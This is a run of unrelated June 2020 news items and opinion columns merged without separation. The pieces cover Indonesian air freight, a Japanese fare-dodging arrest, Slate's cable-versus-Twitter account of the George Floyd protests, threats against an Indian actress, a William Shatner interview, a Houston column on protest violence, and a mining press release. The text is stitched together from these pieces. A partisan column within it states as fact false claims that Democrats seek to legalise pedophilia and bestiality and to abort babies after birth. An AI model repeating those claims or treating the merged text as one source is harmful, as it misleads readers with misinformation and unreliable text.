APL currently operates a Boeing 737-300F that was leased from My Indo Air in April and an ATR 72-500F freighter leased from Pelita Air Services. Plans are in place for a third airplane, which will also be leased from Pelita Air, to start operating in July.

According to a report released last year by consulting firm Mordor Intelligence, the Indonesian air freight business will be worth an estimated US$19.3 billion by 2024, a 110 percent growth from 2018.

Domestic routes are also predicted to dominate the market with 52 percent of all air freight services.

AP I president director Faik Fahmi said APL decided to tap into the air freight business to support the countrys logistics chain.

Air freight in Indonesia is currently still hugely dependent on the belly load of passenger aircraft, which consequently faces disruption when most airplanes are grounded, he said.

The countrys domestic and international air freight volume dropped 39 percent from the average rate in March due to aircraft grounding, Indonesian National Air Carrier Association (INACA) data show.

The association recorded a domestic freight volume of 13,558 cargo ton kilometers (CTK) and an international freight volume of 111,464 CTK in March.

The figures are steep declines from the monthly averages of 45,193 CTK and 159,234 CTK for domestic and international freight throughout 2019, respectively.

This week, national flag carrier Garuda Indonesia, through its logistics subsidiary PT Aerojasa Cargo, launched an app-based courier service to develop its cargo business amid weakened passenger demand.
KYODO NEWS - Jun 5, 2020 - 13:10 | All, Japan, Coronavirus

A Filipino man has been arrested for allegedly taking a free ride on a bullet train halfway across the country in hopes of getting the government's 100,000 yen ($920) coronavirus cash handout, police said Friday.

The man, Kris Noel Macalalad Eliseo, 35, was arrested Thursday after he set off an alarm as he tried to pass through a ticket gate without a ticket at Hakata Station in Fukuoka Prefecture, they said.

He is suspected of traveling from Tokyo Station to Hakata Station -- a distance of over 1,100 kilometers -- on Thursday without paying the 22,200 yen fee.

Related coverage:

Q&A: How do I receive 100,000 yen from the government?

Homeless initially excluded from blanket cash handout program in Kochi

FOCUS: Abe's signature virus-relief cash program faces barrage of criticism

Eliseo, described by police as unemployed and of no fixed residence, has told investigators he was trying to go to Nagasaki, near Fukuoka, where he used to work as he thought he could receive the 100,000 yen handout from the local government there.

The Japanese government has introduced a blanket cash handout program for helping individuals weather the economic fallout of the coronavirus outbreak. Foreign nationals who have legally resided in the country for more than three months are also eligible.

When people actually receive the cash, however, depends on how quickly each municipality can process the applications.
Its become an unfortunate truism that your view of the world depends on where you get your news. The story that has emerged in the aftermath of George Floyds killing is no different: How Americans, particularly those who arent out protesting, view what is unfolding on their streets depends on what they see. Which is why we decided to run a little experiment. What, we wondered, were viewers who have been learning about the protests over the past 10 nights from cable news getting that might be different from what those who have been scrolling through Twitter are seeing?

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So, on Thursday night, we asked two Slate writers to take in two different mediums to see what they walked away thinking had happened that night. Justin Peters watched cable news, rotating between CNN, MSNBC, and Fox News. Sam Adams scrolled through Twitter all night. Heres what they found.

8 p.m., Cable News

Anderson Cooper kicks off his nightly CNN program by defining the issues surrounding George Floyds murder in no uncertain terms. In cities across the country, people are in the streets, the vast majority protesting George Floyds murder, by four now-fired Minneapolis police officers, and the systematic racism and police conduct that has hurt generations of black Americans, Cooper says, going on to note that the protests and demonstrations have been so calm that curfews ended tonight in Los Angeles County and Washington, D.C. They were so calm, in fact, that Cooper doesnt throw to any reporters in the field. Instead, he convenes a discussion between CNN legal analyst Laura Coates and constitutional law professor Gloria Browne-Marshall on police reform.

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On Fox News, Tucker Carlson slams Secretary of Defense Mark Esper for holding a press conference in which he announced that he opposes using troops to bring order to the country. At the press briefing, Esper had said, The option to use active-duty forces in a law enforcement role should only be used as a matter of last resort and only in the most urgent and dire of situations. We are not in one of those situations now. Carlson characterizes Espers remarks as being akin to the first stage in a military coup. This kind of behavior is a grave threat to all of us and to our constitutional system. And that system is teetering tonight. We hate even to say that out loud. But its true. It is, says Carlson, and his guest, former CIA officer Bryan Dean Wright, agrees with him. The people are panicking. The country is on fire. Now, who is attacking us? Mr. Esper should know this. Its antifa, Wright says, going on to warn about bricks in our suburbs and downtowns, Bernie Bros, and Miss Ocasio-Cortez. (He also objects to a Slate tweet about the nature of protests, which he calls a headline, which is just personally an exciting moment for me.)

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On MSNBC, Chris Hayes narrows his focus to look specifically at the NYPDs response to the protests that roiled New York on Wednesday night. These are protests that descended into violence not because of the protesters, but because NYPD officers started beating people, says Hayes, playing clips that show NYPD officers doing exactly that. Hayes goes on to slam Mayor Bill de Blasio and Gov. Andrew Cuomo for holding press conferences Thursday in which they attempted to gaslight the public into believing that we did not see what we all saw. Hayes plays a clip from the Cuomo press conference in which the governor refused to believe that NYPD officers had attacked peaceful protesters without provocation.

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Thats not a fact. They dont do that, says Cuomo.

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Uh, that is a fact. They do do that, says Hayes.

8 p.m., Twitter

Maybe Chris Hayes knew what Cuomo claimed not to because hes on Twitter a lot. In the 8 p.m. hour, a tweet showing LAPD officers swinging batons at protesters passes by numerous times; its brief and taken from a local ABC broadcast, so the (presumed) profanity before the word pigs is bleeped out. Theres also footage, via ABC News national broadcast, of thousands of protesters marching peacefully across the Brooklyn Bridge after a memorial to George Floyd. (Its from earlier in the day, but Twitter confusingly has it labeled as LIVE.) Not quite buried in all of this is the news that New York City has had its first day without a confirmed COVID-19 fatality since early March, and the AP reports that two of the police officers who watched George Floyd die had been on the job just four days, and their training officer was Derek Chauvin, who is now charged with Floyds murder.

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I see that Donald Trump is attempting to seize the news cycle by tweeting out a letter from respected retired Marine and Super Star lawyer, John Dowd critical of Trumps former Secretary of Defense James Mattis, but it doesnt seem to be gaining a whole lot of traction.

9 p.m., Cable News

As darkness falls across much of the East Coast, Sean Hannity starts off his Fox News program with a foreboding monologue. Tonight: violence, chaos, reigning supreme, in cities across our country. In New York, one police officer stabbed in the neck, two others were shot, and you got a mayor in New York City that continues to deny all reality of whats going on around him and listening to repeats of Lets Imagine, by John Lennon, says Hannity, who clearly is more of a Bay City Rollers guy. After an obligatory mention of antifa, Hannity then throws it to correspondent Bryan Llenas, who is tracking a protest in Brooklyn. We are not seeing mass arrests at this time, it appears, says Llenas, seeming a bit puzzled. Thats probably because of the criticism the NYPD has been facing from activists and elected officials in the city for what activists say was an aggressive stance last night against peaceful protesters. Within a few minutes, Hannity moves away from the live coverage and back to his comfortable corner: Last night in the city of New York, two officers were shot, another stabbed right in the neck. They were patrolling the streets of Brooklyn for looters, but now [are] probing the perpetrators possible links to terrorists.

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On CNN, Chris Cuomo begins with an update from a correspondent in Atlanta, who is tracking a protest there as curfew sets in. Theyve been in an intense standoff with police in the last 15 minutes, says Nick Valencia, laying out the situation for the viewers at home. You see here, though, theres a crowd, he says, only to be interrupted when someone yells Fuck your mama! in the background. Sorry about the language here, guys, says a mildly flustered Valencia. He moves into a gaggle of police officers who are trying to get the crowd to disperse for curfew and pulls aside a protester for a brief and memorable interview.

Why arent you leaving? Why wont you obey the curfew? Valencia asks.

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The protester grabs the microphone and screams into it. Black Lives Matter does not stop at 9 p.m., he says.

Well, thank you very much, says Valencia, ending the interview and hurrying away.

At 9:13 p.m., Buffalos NPR affiliate posts a video of police pushing a 75-year-old man. The video visibly proliferates across my timeline. Its everywhere.

Dont ask me a question if you dont want me to grab the mic! the protester yells from the background. Cuomo soon moves away from Atlanta and into an interview with Maurice Lester Hall, who was in the car with George Floyd when he was killed.

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MSBNC still isnt talking to any reporters on the ground at the protests. Instead, the network goes long on Al Sharptons eulogy at George Floyds memorial. (Sharpton is an MSNBC contributor.) Later, Rachel Maddow opines on the ominously unidentifiable troops who had assembled to intimidate protesters and keep order in D.C. I mean, how do we know that these people are who they say they are at all? Maddow asks, noting that the only reason for law enforcement personnel stripping all markings from their uniforms would be to avoid accountability. The darker prospect here is this: I mean, whos to say they are law enforcement?

9 p.m., Twitter

At 9:13, Buffalo, New Yorks NPR affiliate posts a video of police pushing backward a 75-year-old man, who then loses his balance and falls flat on his back. When the camera swivels to find him on the ground, blood is already pooling behind his head. The video visibly proliferates across my timeline. Its everywhere. The official report from a Buffalo Police Department spokesperson, which soon circulates, says one person was injured when he tripped & fell. That spreads across my timeline for the next hour, and the urgency and disgust with which its retweeted seems to grow by the minute. The incident seems, at least briefly, so ubiquitous that it no longer requires a direct reference. That Buffalo video really is a lot to process, tweets a Los Angeles Times reporter. (A friend tweets simply goddammit that guys gonna die.)

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Meanwhile, in an incognito window where Im not signed in, one of Twitters Top 3 trending topics is the Quibi revival of Reno 911, a show watched by approximately four people. (Toward the top of the next hour, a new trending topic is added: Bleeding.)

10 p.m., Cable News

MSNBC leads with Al Sharptons eulogy and then moves on to discuss the chorus of military condemnation of Donald Trump, referring to comments by retired Adm. Mike Mullen and former Secretary of Defense James Mattis.

Back on CNN , Don Lemon chats with a correspondent who is reporting on a heartwarming moment from a protest in Brooklyn.

On CNN, meanwhile, after shooting the shit with his buddy Chris Cuomo for five long minutes, Don Lemon eventually goes to Manhattan, where correspondent Shimon Prokupecz is on the corner of Fifth Avenue and 59th Street, with hundreds of NYPD officers amassed behind him. In the background, a cop stepped toward him. Im on live television, officer, Prokupecz says, going on to report how the cops had swarmed in to bust up the protest that had been occurring there a little earlier. This group, weve started with them at around 34th Street. Theyre the last remaining group of demonstrators around Manhattan, says Prokupecz. And it just seems like the NYPD just decided it was time for them to go home.

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Over on Fox News, Laura Ingraham talks about how the Floyd familys pain and justified anger and protest have been hijacked by a shadowy group that we hear too little about. (Antifa.) Later, Ingraham assembles a panel discussion in which Sara Carter asserts that violent leftist unrest has been fermenting inside the universities and colleges where our young people have been recruited basically by professors and teachers: leftists, communists, that believe in these types of acts. They basically hijack a crisis and, you know, peaceful protest, they hijacked these peaceful protests, and then they ferment.

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Back on CNN, Don Lemon chats with a correspondent who is reporting on a heartwarming moment from a protest in Brooklyn, in which an NYPD official used his powers of persuasion to convince protesters to disperse, instead of beating them to the ground with batons. It was just really an incredible moment and one I thought was important to share with you and your audience, says correspondent Jason Carroll.

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Right you are, agrees Lemon. If the police are doing something right and the protesters are as well, we should get that on television.

10 p.m., Twitter

At 10:17, Erie County Executive Mark Poloncarz responds to the Buffalo video, saying the man pushed to the ground by the police is in the hospital and in stable condition. Meanwhile right-wing media are pushing back against the coalescing narrative, with the Daily Wires Ryan Saavedra tweeting that the man refused to move back after being repeatedly told to do so and fell over himself. A few minutes later Buffalo station WIVB reports that the police commissioner has suspended two officers involved in the incident, at least one of whose names has already been widely circulated on Twitter. (Several Twitter users are also pretty sure theyve identified the D.C.-area cyclist seen assaulting a young girl posting flyers with George Floyds name on them, but its not immediately clear theyve got the right man. The next morning, he tweets a picture of a police report excluding him as a suspect.) One tweet that quickly starts to go viral juxtaposes images of Buffalo PD officers taken on subsequent days in Niagara Square: the first showing them kneeling in a show of solidarity with protestors; the second, taken from the video, of them knocking an older man off his feet.

11 p.m., Cable News

On MSNBC, Brian Williams begins with the same damn Al Sharpton eulogy and then throws it to an NBC News reporter in Minneapolis on the site where George Floyd was killed, talking about the Floyd memorial service. Later, he goes to Ellison Barber, at Lafayette Square in Washington. A small, medium-sized but resilient crowd is still here in front of Lafayette Square, says Barber, which translates as this protest is over but we still have airtime to fill. Walking backward toward a fence that had been erected to keep protesters away from the White House, Barber echoes one of MSNBCs themes for the night, noting that at times its been very difficult to identify who the federal law enforcement officers are out on the streets of Washington, D.C.

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CNN brings us to Los Angeles, where Kyung Lah is covering a protest occurring in some sort of tunnel, with slow-moving cars and protesters awkwardly sharing the space. Its a little hard to hear you, Don, she says, nevertheless noting that this has been a very peaceful protest. Back in Manhattan, Shimon Prokupecz checks in from the now-vacant corner of 59th and Fifth, where the media presence is the only sign that a protest had ever taken place. I was talking to law enforcement, here, and basically it was time to wrap up the marchers, Prokupecz says. They extended them, they allowed them to stay an extra two hours on the street. The curfew ended at 8, and as you saw during your show there during the 10 oclock hour, they just decided that enough was enough.

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On Fox News, Shannon Bream kicks off the 11 oclock hour with a Fox News alert about Stockton, California, where the police there are sending their bomb squad to check out a suspicious package thats actually taped to the front doors of the courthouse, were told. Later, Bream goes to Brooklyn, where Bryan Llenas is also reporting from an empty street. Perhaps because there is no actual news happening on the scene, Llenas spends some time recapping NYPD Commissioner Dermot Sheas characterization of anti-cop rhetoric as disgusting.

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At around 11:07, Llenas moves on to a new story. Disturbing video out of Buffalo, New York. Two officers are seen pushing an elderly man as they clear the streets there in Buffalo, Llenas says, as Fox plays a video of the man being shoved to the ground. As blood pools around his head, some cops recoil from the sight. Reportedly those two men, those two officers, have been suspended, an internal investigation is underway, reportedly, and that man is said to be in stable condition. Then, Llenas goes back to the opinions of the NYPDs Dermot Shea: What he has been seeing on the street has been his cops showing a lot of restraint, but the tensions are really high. And these snippets on social media, Buffalo video aside, have been fueling it.

11 p.m., Twitter

The Buffalo video and responses to it are still dominating Twitterthe mayor of Buffalo and the governor of New York have respondedbut its mixed in with footage from around the country: police shoving protesters in Philadelphia, police charging a crowd of protesters in Brooklynand, oh, the Washington Monument getting struck by lightning. Over the past few days Ive seen a steady increase in tweets referring to kettling, a crowd-control tactic in which police trap protesters rather than dispersing them. Its already considered dangerous, and using it against large groups of people in the middle of a pandemic makes it exponentially more so. There are many more tweets about this Thursday night.

Because no ones Twitter feed shows them everything, before I sign off, I do a search for looting, just to see if there are videos or images in wide circulation, but I dont see much beyond people talking about the subject. Looting is a sideshow to what is boiling down to a prolonged battle between police and protestersor at least, thats how it seems on Twitter. But Twitter doesnt just show scenes of violent clashing. Toward the end of the night, I come across a clip from outside of St Louis, shot by a Post-Dispatch photographer. It shows a black man who looks like hes on his way home from work sitting on the hood of his car stalled in traffic as protesters swarm around him. His fist is raised and he nods his head as they move past. Somethings happening, he says to the camera. Were being heard. Change is happening.

For more of Slates news coverage, subscribe to The Gist on Apple Podcasts or listen below.
Looks like the recent social media brawl between Meera Chopra and Jr NTR fans is taking a new turn. Hyderabad police have now registered a case against a few fans of the Young Tiger, for abusing the Bangaram actress on social media. Meera has been receiving gang rape, acid attack, and death threats. She recently complained about this issue with screenshots to the National Commission For Women (NCW) and Hyderabad Police.

The NCW chairperson Rekha Sharma directed Hyderabad police to take action on the case, and also requested Twitter India to delete objectionable content. Assistant Commissioner of Police KVN Prasad said that a case has been registered against the offenders under the Indian Penal Code's sections 506 (criminal intimidation), 509 (insulting the modesty of a woman) and section 67 of the Information Technology (IT) act. He added that the offenders are under scanner and will be brought to justice as soon as possible.

Responding to the same, Meera Chopra took to her social media handle to thank NCW and Hyderabad Police for the quick action taken regarding her complaint. She wrote, "A big thanks to @NCWIndia and @sharmarekha for helping me filing an FIR. Safety of women is always compromised but we get our support and strength from people like u."

A big thanks to @NCWIndia and @sharmarekha for helping me filing an FIR. Safety of women is always compromised but we get our support and strength from people like u.   meera chopra (@MeerraChopra) June 3, 2020

Well, it all started when Meera's recent interaction with fans went horribly wrong as she responded to a Jr NTR fan's questions. She said that she doesn't know the actor and that she is not his fan, adding that she was instead a fan of actor Mahesh Babu. The actress started receiving backlash from Jr NTR fans and the situation went out of hand as they started posting vulgar comments and threats on her social media account.

Responding to the same, Meera called out the Young Tiger on Twitter, as she wrote,"I didn't kno that Ill be called a bitch, whore and pornstar just bcoz i like @urstrulyMahesh more than you. And your fans will send my parents such wishes. Do u feel successful with such a fan following? And I hope u don't ignore my tweet!" Surprisingly, the Janata Garage actor and Mahesh Babu haven't responded to the unfortunate episode so far.

Pawan Kalyan's Co-Star Calls Mahesh Babu Her Favourite Actor!

Meera Chopra Files Complaint Against Jr NTR Fans For Abusing Her On Social Media
Ukraine's Ministry of the Interior revoked the licenses of four security companies whose employees took part in the shootout in Brovary. Deputy Minister of Internal Affairs of Ukraine Serhiy Honcharov stated this, according to the website of the Ministry of Internal Affairs.

As part of the investigation, investigators from the National Police appealed to the Ministry of Internal Affairs to conduct an audit of the activities of four metropolitan security companies whose employees are participants in the shooting.

By orders of the Ministry from June 05, licenses for security activities were completely revoked: LLC Profohorona, LLC Security Group Kyiv Center, LLC DV Security, LLC Security Group Fort-3.

As we reported before, the National Police apprehended 13 people involved in the recent shooting in Brovary, Kyiv region. One of the detainees appeared to be a criminal mastermind known under the alias of Vekha (Landmark, - 112 International).

"13 people were detained in Kyiv, Brovary and Irpin, led by criminal mastermind Vekha. It is clear that they were the ones who acted as the local carriers. All are suspected in brigandism and a murder attempt. Firearms and ammunition were seized. We'll get them all," Avakov said.
William Shatner hosts Sky Historys new eight-part series The UnXplained

Brave, irresistible to females (human and alien) and endlessly curious about the worlds around him, Star Treks Captain James T Kirk first boldly went where no man has gone before more than half a century ago.

And William Shatner, who played him, may be 89 now and marooned in quarantine at his LA home, but hes still just as interested in science and mystery as his legendary TV character was.

While we still havent learned how to teleport Star Trek-style from one place to another, William says the strides weve made in technology are as amazing as anything on the show.

I have a little computer in my hand and Im talking to you thousands of miles away. Its beyond imagination, he exclaims as we talk over Zoom.

His curiosity has meant hes been in a frenzy of creativity during isolation. Hes previously released four albums in his much-parodied spoken-word style, and now hes recorded a fifth, an album of blues songs.

Hes also working on what he calls a strange, inexplicable album youll have to wait to hear more about. Its going to be really different.

Its his love of a mystery that made him leap at the chance to host Sky Historys new eight-part series The UnXplained, which tackles intriguing conundrums from around the globe. Were surrounded by mystery, he says.

Star Treks Captain James T Kirk first boldly went where no man has gone before more than half a century ago. Pictured: William as Captain Kirk, charming a female alien in 1968

There are the big questions like is there life after death? And there are smaller ones like how a man can come out of a coma and play the piano like a concert pianist when hes never had a lesson in his life.

The series looks at everything from curses and cults to vampires. One of the things Im most interested in is precognition  knowing a thing will happen before it does, he says. Just before 9/11 people had visions of what was going to happen.

'There are things we simply dont understand. This show looks at some of the explanations. The closest Ive come to knowing something bad was about to happen was when I decided to become an actor, he laughs.

One episode deals with mysterious stones, from the Black Stone of Mecca  one of the most revered Muslim artefacts  to the Koh-i-Noor diamond, which was owned for centuries by Indian nobles, many of whom suffered bloody deaths.

It would pass from one ruler to another, almost always drenched in blood, says William. Its almost as if the diamond itself demanded mortal sacrifice in order to possess it.

The Koh-i-Noor was given to Queen Victoria in 1849, but because it is said to curse any man who wears it, only female members of the Royal Family have done so, including the Queen Mother in the crown she wore for her husbands coronation.

One episode deals with mysterious stones, from the Black Stone of Mecca  one of the most revered Muslim artefacts  to the Koh-i-Noor diamond (pictured) which was owned for centuries by Indian nobles, many of whom suffered bloody deaths

It is now on display at the Tower of London. Can a diamond be cursed? Can an object be imbued with dark energy? muses William. Theres so much we dont know.

Even though most of the subjects explored on the show remain unexplained, they still excite him.

The fact theres no explanation is tantalising, he says. It would be good to think that one day well understand all these mysteries. Because there is an explanation, we just dont know it yet.

The UnXplained starts on Sky History on Tuesday at 9pm.
Born in rebellion, nurtured by political debate and baptized under the banner of We, the people, the United States has protest and dissent in its DNA.

We cherish the First Amendments guarantees of freedom of religion, of speech, of the press and the right of the people peaceably to assemble, and to petition the government for a redress of grievances.

No other country in the world allows more freedom to criticize elected officials, wave signs, shout slogans or march in the streets to demand reform and change.

Yet, these days, the conventional wisdom is that these rights are to be respected only in their peaceful forms: nonviolent demonstrations, boycotts, public crusades and mild civil disobedience. Crossing the line to riots and lawlessness leads to anarchy and chaos.

That has been the issue hanging over the protests following the police killing of George Floyd. The looting and violence that has broken out in some cases, critics say, discredits or cheapens the legitimate moral outrage of the demonstrations and will cripple efforts at reform.

That view, however, ignores the very impulse that conceived a nation dedicated to such freedoms. It dismisses the founding idea that injustice can become so great that it warrants a violent response.

Its naive to interpret Give me liberty or give me death in any other context.

No one should condone or encourage violence. The tragic deaths of black Americans at the hands of their government are no license for senseless destruction or lawless free-for-all. That indeed cheapens the dignity of the cause, as does the cynical opportunism of anarchists and white supremacists who stir the pot to further their own corrosive agendas.

But to treat violence truly borne of anguish and desperation as a wholly irresponsible and unproductive exercise perpetrated solely by hoodlums and thugs, is to turn a blind eye to history. The founders made it clear that it remains the last option for citizens seeking to redress their grievances. The possibility of insurrection is a sort of emergency lever than can be used to force governments to listen to those who would never be heard otherwise.

Those who make peaceful revolution impossible, President John F. Kennedy said, will make violent revolution inevitable.

Its an oversimplification to say that violence never solves anything. Violence has been a factor in many of the nations crucial turning points, not just in our independence and foreign wars but in the preservation of the union, the end of slavery and even in the Civil Rights Movement of the 1960s.

Even the architect and apostle of nonviolent protest in America, the Rev. Martin Luther King, Jr., understood the need for violence  from the other side  to make his vision work. That meant strategic confrontation that challenged the status quo and almost always provoked a brutal response.

The scenes of college students being beaten for the offense of eating at public lunch counters, of the Freedom Riders being battered in Southern bus stations, of police dogs tearing at the flesh of children fleeing fire hoses and the sight of unresistant men and women being bludgeoned on the Edmund Pettus Bridge finally persuaded Americans that the laws our government was enforcing were unjust and immoral.

The incredible bravery and sacrifice of those civil rights warriors absorbing the violent blows changed the hearts of those who had missed the protesters humanity.

On occasion, even when violence isnt part of a strategy, its sudden outbreak can tip the scales to bring change in matters of prolonged injustice. Thats what happened in Houstons Moody Park riots.

It began with the 1977 arrest of 23-year-old Vietnam War veteran Joe Campos Torres for disorderly conduct. Instead of booking Campos Torres, police took him to an isolated area behind a warehouse along Buffalo Bayou, where six officers beat him for hours. His body was eventually dumped in the bayou where it was found three days later.

Two officers were charged in the death but an all-white jury found them guilty of negligent homicide, a misdemeanor. They were sentenced to a years probation and a $1 fine, a sentence that was later changed to nine months in prison.

The horrific details of Campos Torres murder, the long history of police brutality in minority communities and the light punishment for the offenders provided the tinder for a public explosion.

A year after Campos Torres death, a confrontation erupted when police attempted to make arrests during the Cinco de Mayo celebrations at Moody Park.

People rose up and started throwing rocks and bottles at the police, overturning police cars and shouting Justice for Joe Torres and Viva Joe Torres, one officer on the scene told the Houston Chronicle.

More than 40 people were arrested in an event that became national news. It also is credited with prompting the creation of HPDs internal affairs department. The combination of the crime, the failure of the criminal justice system, the national attention to the riots and the years of abuse all came together.

In a similar fashion, six days of rioting in Los Angeles in 1992 after six Los Angeles police officers were acquitted in the brutal beating of Rodney King caught on video ended with 53 people dead, more than 2,000 people injured, and property damages of more than $1 billion. It also resulted in the exposure of infamously brutal LAPD and more scrutiny of systemic racism, abusive arrest techniques and more issues in police departments across the country.

No one would celebrate the death and destruction the riots caused, but they did raise public awareness to chronic societal problems that were being ignored by the power structure.

It is crucial, then, to see the current protests not just as a reaction to the death of George Floyd but to 400 years of oppression of black people in America. More than 200 years of slavery followed by the period that, unfortunately, few middle-aged Americans got to in their history text books: 100 years of lynchings, Jim Crow laws, segregation and disenfranchisement and more than 50 years of mass incarceration, police brutality and de facto segregation.

The video of Floyd being choked to death under the knee of a Minneapolis police officer has mostly sparked the kind of peaceful protests that most citizens embrace  and that Floyds own family has pleaded for. Organizers have condemned the looting, arson and vandalism as wrong and counterproductive. They want change by peaceful means.

Violence, or the threat of it, may bring urgency to the cause but it also brings great risks, not to mention the harm it causes to unintended targets such as destruction of minority-owned businesses and livelihoods.

Then theres the long-term backlash. Americas historically white majority has often rushed to law and order politics in the face of public unrest. The 1960s riots in Chicago, Washington, D.C., Detroit and Watts in Los Angeles boosted conservative policies for a generation and helped elect Richard Nixon president in 1968.

The predominantly poor, segregated neighborhoods damaged in the uprisings have yet to fully recover.

Violence can also bring heavy government intervention that can stifle even the peaceful demonstrations, by intimidating protesters with the threat of being gassed or beaten by police or getting swept up in the mass arrests intended to remove the bad actors.

The issue came into stark relief last week when President Donald Trump suggested he was considering using the Insurrection Act to deploy armed forces to end some rioting and looting related to the Floyd protests. This is part of a disingenuous narrative to portray the mostly peaceful protests as acts of full rebellion.

The prospect frightened many Americans across the political spectrum and received push back from influential military figures such as Secretary of Defense Mark Esper and former Marine general and Trump secretary of defense James Mattis as a dangerous overreach in executive powers, especially as civil unrest was already dissipating under local police and National Guard control.

The idea of U.S. combat troops moving against American citizens exercising their constitutional rights to assemble would test the social fabric of our nation. Fifty years later, we dont want another Kent State.

Public demonstrations and government response remind us that society is based on a balance of order and justice. Can we be content with an order that subjugates justice? How far can we go in disrupting order to end injustice? How much violence will we tolerate from our government?

There are no simple answers  and suggesting otherwise is short-sighted, unproductive and harmful to progress. Democracy, as they say, was never intended to be efficient and orderly. A free society is by design complicated and messy. And so, it appears, is peace.

Morris is an editorial writer and columnist. He can be reached at tim.morris@chron.com.
Dear American Family: For decades, my black family and friends have viewed me as the weirdo who votes for Republicans.

At our annual family Christmas gathering a few years before he died, my dad, Dr. Rev Lloyd E. Marcus, instructed them to follow me as the new leader. I heard through the grapevine that most of them disapprove of my politics. At family events, I am pleasant and keep conversations non-political. Still, they read my articles posted on social media and the internet.

The vast majority of my family and friends profess Christianity. And yet, everything I have written and told them on occasion about Democrats' anti-biblical agenda has not broken their loyalty to the party.

They ignore the fact that their party worships Planned Parenthood, which targets black babies and profits greatly from selling dead-baby body parts. Recently, Democrats have been pushing legislation to abort healthy babies after they are born.

They ignore that fact the Democrats want open borders for illegals, who take jobs from blacks. They ignore the fact that Democrats are cramming the LGBT agenda down our throats. Democrats want schools to orchestrate "sex change" surgery and abortions without parental knowledge or consent. They ignore the fact that Democrats seek to legalize 12 new perversions, which include pedophilia and bestiality. How can anyone who professes Christianity support Democrats' anti-biblical agenda? Remember the convention at which Democrats banned God from their platform?

I learned that relatives are posting propaganda on Facebook in support of the George Floyd rioters. Despite living successful racism-free lives, they have bought the Democrats' and fake news media's absurd lie that America is a hellhole of racism, where blacks are routinely murdered by police. This made me sad and a bit lonely.

At the root of my sadness is the fact that my black family and friends are disciples of the Gospel of Democrats and Fake News Media. Whatever these two wicked entities tell them, they believe. God says allowing someone or something to trump His word is idolatry.

Eagles fly alone. "All that will live godly in Christ Jesus suffer persecution" (2 Timothy 3:12). Christians are martyred around the world. Therefore, complaining about deceived fellow blacks disapproving of my politics is hardly worth mentioning.

Still, it is extremely frustrating that neither facts nor common sense seems to penetrate my family's and friends' blind loyalty to the far-left-extremist, hate-generating, anti-Christian, and anti-American Democratic Party.

They perceive everything they see and hear on TV from Democrats and fake news media as the gospel truth. For example, they believed the lie that catching COVID-19 is a death sentence. They stayed at home, wore masks, and trashed anyone who did not. I told them that COVID-19 has a 98% recovery rate. Once again, I was viewed as an Uncle Tom, siding with mean Republicans who want to reopen America, which will cause a gazillion Americans, mostly black, to die. By the way, a 65-year-old relative recovered from COVID-19.

Democrats and fake news media are exploiting the tragic death of George Floyd in an attempt to stop Trump's re-election. Insidiously, they are overwhelming the airwaves with lies about Trump, white America, and the police. My family and friends are embracing every lie as a gospel. Presenting them with facts and data has had no effect in changing their minds. The Bible speaks of those who prefer to believe lies rather than truth.

Families across America are dealing with the same frustrating situation that I am challenged with. Their kids have been indoctrinated by extreme leftist, anti-American, and anti-Christian Hollywood celebs and media figures. How do you break their brain-dead zombie control of young idealistic minds? I believe that the answer is prayer and faithfully continuing to tell youths the truth about issues.

God's word promises, "And let us not be weary in well doing: for in due season we shall reap if we faint not. As we have therefore opportunity, let us do good unto all" (Galatians 6:9).

Outrageously, Antifa terrorists are demanding that whites kneel in worship to Black Lives Matter, begging forgiveness for being born white. Folks, this is evil beyond belief.

We must stand together as Americans while praying for God's strength to be like Daniel in the Bible. Tell the Democrats, fake news media, Antifa, and Black Lives Matter that we "ain't" kneeling or worshiping their vile false gods of social justice, socialism, and communism.

Lloyd Marcus, The Unhyphenated American

Help Lloyd Spread the Truth

https://www.trumptrainusa2020.com/

http://LloydMarcus.com
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VANCOUVER, British Columbia, June 05, 2020 (GLOBE NEWSWIRE) -- Luminex Resources Corp. (TSXV: LR) (the Company or Luminex) is pleased to report that, in connection with its previously announced private placement financing, the Company and a syndicate of agents, led by Haywood Securities Inc., and including PI Financial Corp., Cormark Securities Inc., and Raymond James Ltd. (collectively, the Agents) have agreed to increase the size of the offering (the Brokered Offering). The Brokered Offering will now consist of up to 11,536,000 common shares (Shares) at a price of C$0.70 per Share (the Offering Price), for aggregate gross proceeds of up to C$8,075,200. The Company has additionally decided to increase the amount of its concurrent non-brokered private placement to up to C$4,925,000 worth of Shares (the Non-Brokered Offering, and together with the Brokered Offering, the Offering"), on the same terms as the Brokered Offering with certain insiders and strategic investors.

The Company plans to use the net proceeds from the Offering for the exploration and advancement of the Companys projects in Ecuador and for general corporate purposes. The Offering is scheduled to close on or about June 24, 2020 the (Closing Date), and is subject to certain conditions customary for transactions of this nature, including, but not limited to, the receipt of all necessary approvals, including the approval of the TSX Venture Exchange. The Company has agreed to pay the Agents a cash commission of up to 6% of the gross proceeds raised under the Brokered Offering.

The common shares issued in the Offering will be subject to a statutory hold period of four months and one day following the Closing Date.

The securities to be offered pursuant to the Offering have not been, and will not be, registered under the U.S. Securities Act of 1933, as amended (the "U.S. Securities Act") or any U.S. state securities laws, and may not be offered or sold in the United States or to, or for the account or benefit of, United States persons absent registration or any applicable exemption from the registration requirements of the U.S. Securities Act and applicable U.S. state securities laws. This news release shall not constitute an offer to sell or the solicitation of an offer to buy securities in the United States, nor shall there be any sale of these securities in any jurisdiction in which such offer, solicitation or sale would be unlawful.

The Company expects certain related parties as defined in Multilateral Instrument 61-101 ("MI 61-101") to participate in the Offering. Any such resulting related party transaction will be exempt from the formal valuation requirement and shareholder approval requirement of MI 61-101 as the fair market value of any Shares issued to such persons will not exceed 25% of the Companys market capitalization.

About Luminex Resources

Luminex Resources Corp. (TSXV:LR) is a Vancouver, Canada based precious and base metals exploration and development company focused on gold and copper projects in Ecuador. Luminexs inferred and indicated mineral resources are located at the Condor Gold-Copper project in Zamora-Chinchipe Province, southeast Ecuador. Luminex also holds a large and highly prospective land package in Ecuador, including the Tarqui and Pegasus projects, which are being co-developed with BHP Group plc and Anglo American respectively.

Further details are available on the Companys website at https://luminexresources.com/.

To receive future news releases please sign up at https://www.luminexresources.com/contact/contact-us/.

LUMINEX RESOURCES CORP. For further information contact: Signed: Marshall Koval Scott Hicks info@luminexresources.com Marshall Koval, CEO and Director T: +1 604 646 1899

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this news release.

Cautionary Note Regarding Forward-Looking Information

